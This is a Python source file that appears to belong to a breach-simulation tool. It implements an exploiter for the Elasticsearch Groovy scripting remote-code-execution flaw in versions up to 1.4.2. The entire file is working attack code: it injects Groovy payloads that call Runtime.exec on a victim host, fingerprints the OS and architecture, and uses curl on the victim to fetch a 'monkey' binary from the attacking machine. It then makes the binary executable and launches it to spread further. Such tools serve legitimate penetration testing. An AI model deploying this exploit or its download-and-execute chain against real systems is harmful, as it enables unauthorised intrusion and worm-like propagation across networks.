233 lines
8.7 KiB
Python
233 lines
8.7 KiB
Python
"""
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Implementation is based on elastic search groovy exploit by metasploit
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https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
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Max vulnerable elasticsearch version is "1.4.2"
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"""
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import json
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import logging
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import requests
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from exploit import HostExploiter
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from model import MONKEY_ARG
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from model.host import VictimHost
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from network.elasticfinger import ES_SERVICE, ES_PORT
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from tools import get_target_monkey, HTTPTools, build_monkey_commandline
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__author__ = 'danielg'
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LOG = logging.getLogger(__name__)
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class ElasticGroovyExploiter(HostExploiter):
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_target_os_type = ['linux', 'windows']
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# attack URLs
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BASE_URL = 'http://%s:%s/_search?pretty'
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MONKEY_RESULT_FIELD = "monkey_result"
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GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
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JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
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JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
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JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
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JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
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JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
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DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
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def __init__(self):
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self._config = __import__('config').WormConfiguration
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self.skip_exist = self._config.skip_exploit_if_file_exist
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def is_os_supported(self, host):
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"""
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Checks if the host is vulnerable.
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Either using version string or by trying to attack
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:param host: VictimHost
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:return:
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"""
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if host.os.get('type') not in self._target_os_type:
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return False
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if ES_SERVICE not in host.services:
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LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
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return False
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major, minor, build = host.services[ES_SERVICE]['version'].split('.')
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if major > 1:
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return False
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if major == 1 and minor > 4:
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return False
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if major == 1 and minor == 4 and build > 2:
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return False
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return self.is_vulnerable(host)
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def exploit_host(self, host, depth=-1, src_path=None):
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assert isinstance(host, VictimHost)
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real_host_os = self.get_host_os(host)
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host.os['type'] = str(real_host_os.lower()) # strip unicode characters
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if 'linux' in host.os['type']:
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return self.exploit_host_linux(host, depth, src_path)
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else:
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return self.exploit_host_windows(host, depth, src_path)
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def exploit_host_windows(self, host, depth=-1, src_path=None):
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"""
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TODO
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Will exploit windows similar to smbexec
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:return:
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"""
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return False
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def exploit_host_linux(self, host, depth=-1, src_path=None):
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"""
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Exploits linux using similar flow to sshexec and shellshock.
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Meaning run remote commands to copy files over HTTP
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:return:
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"""
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uname_machine = str(self.get_linux_arch(host))
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if len(uname_machine) != 0:
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host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
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dropper_target_path_linux = self._config.dropper_target_path_linux
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if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
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LOG.info("Host %s was already infected under the current configuration, done" % host)
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return True # return already infected
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src_path = src_path or get_target_monkey(host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", host)
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return False
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if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
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return False
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self.set_file_executable_linux(host, dropper_target_path_linux)
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cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
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cmdline += build_monkey_commandline(host, depth - 1) + ' & '
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self.run_shell_command(host, cmdline)
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LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
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self._config.dropper_target_path_linux, host, cmdline)
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if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
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LOG.info("Log file does not exist, monkey might not have run")
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return True
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def download_file_in_linux(self, host, src_path, target_path):
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"""
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Downloads a file in target machine using curl to the given target path
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:param host:
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:param src_path: File path relative to the monkey
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:param target_path: Target path in linux victim
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:return: T/F
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"""
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http_path, http_thread = HTTPTools.create_transfer(host, src_path)
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if not http_path:
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LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
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return False
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download_command = '/usr/bin/curl %s -o %s' % (
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http_path, target_path)
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self.run_shell_command(host, download_command)
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http_thread.join(self.DOWNLOAD_TIMEOUT)
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http_thread.stop()
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if (http_thread.downloads != 1) or (
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'ELF' not in
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self.check_if_remote_file_exists_linux(host, target_path)):
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LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
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return False
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return True
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def set_file_executable_linux(self, host, file_path):
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"""
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Marks the given file as executable using chmod
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:return: Nothing
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"""
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chmod = '/bin/chmod +x %s' % file_path
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self.run_shell_command(host, chmod)
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LOG.info("Marked file %s on host %s as executable", file_path, host)
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def check_if_remote_file_exists_linux(self, host, file_path):
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"""
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:return:
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"""
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cmdline = '/usr/bin/head -c 4 %s' % file_path
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return self.run_shell_command(host, cmdline)
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def run_shell_command(self, host, command):
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"""
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Runs a single shell command and returns the result.
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:return:
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"""
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payload = self.JAVA_CMD % command
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result = self.get_command_result(host, payload)
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LOG.info("Ran the command %s on host %s", command, payload)
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return result
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def get_linux_arch(self, host):
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"""
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Returns host as per uname -m
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:return:
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"""
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return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
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def get_host_tempdir(self, host):
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"""
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Returns where to write our file given our permissions
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:return: Temp directory path in target host
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"""
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return self.get_command_result(host, self.JAVA_GET_TMP_DIR)
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def get_host_os(self, host):
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"""
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:return: target OS
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"""
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return self.get_command_result(host, self.JAVA_GET_OS)
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def is_vulnerable(self, host):
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"""
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Checks if a given elasticsearch host is vulnerable to the groovy attack
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:param host: Host, with an open 9200 port
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:return: True/False
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"""
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result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
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return 'java.lang.Runtime' in result_text
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def get_command_result(self, host, payload):
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"""
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Gets the result of an attack payload with a single return value.
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:param host: VictimHost configuration
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:param payload: Payload that fits the GENERIC_QUERY template.
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:return:
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"""
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result = self.attack_query(host, payload)
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if not result: # not vulnerable
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return False
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if 1 != len(result): # weird
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return None
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return result[0]
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def attack_query(self, host, payload):
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"""
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Wraps the requests query and the JSON parsing.
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Just reduce opportunity for bugs
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:return: List of data fields or None
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"""
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response = requests.get(self.attack_url(host), data=payload)
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result = self.get_results(response)
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return result
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def attack_url(self, host):
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"""
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Composes the URL to attack per host IP and port.
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:return: Elasticsearch vulnerable URL
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"""
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return self.BASE_URL % (host.ip_addr, ES_PORT)
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def get_results(self, response):
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"""
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Extracts the result data from our attack
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:return: List of data fields or None
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"""
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try:
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json_resp = json.loads(response.text)
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return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
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except KeyError:
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return None
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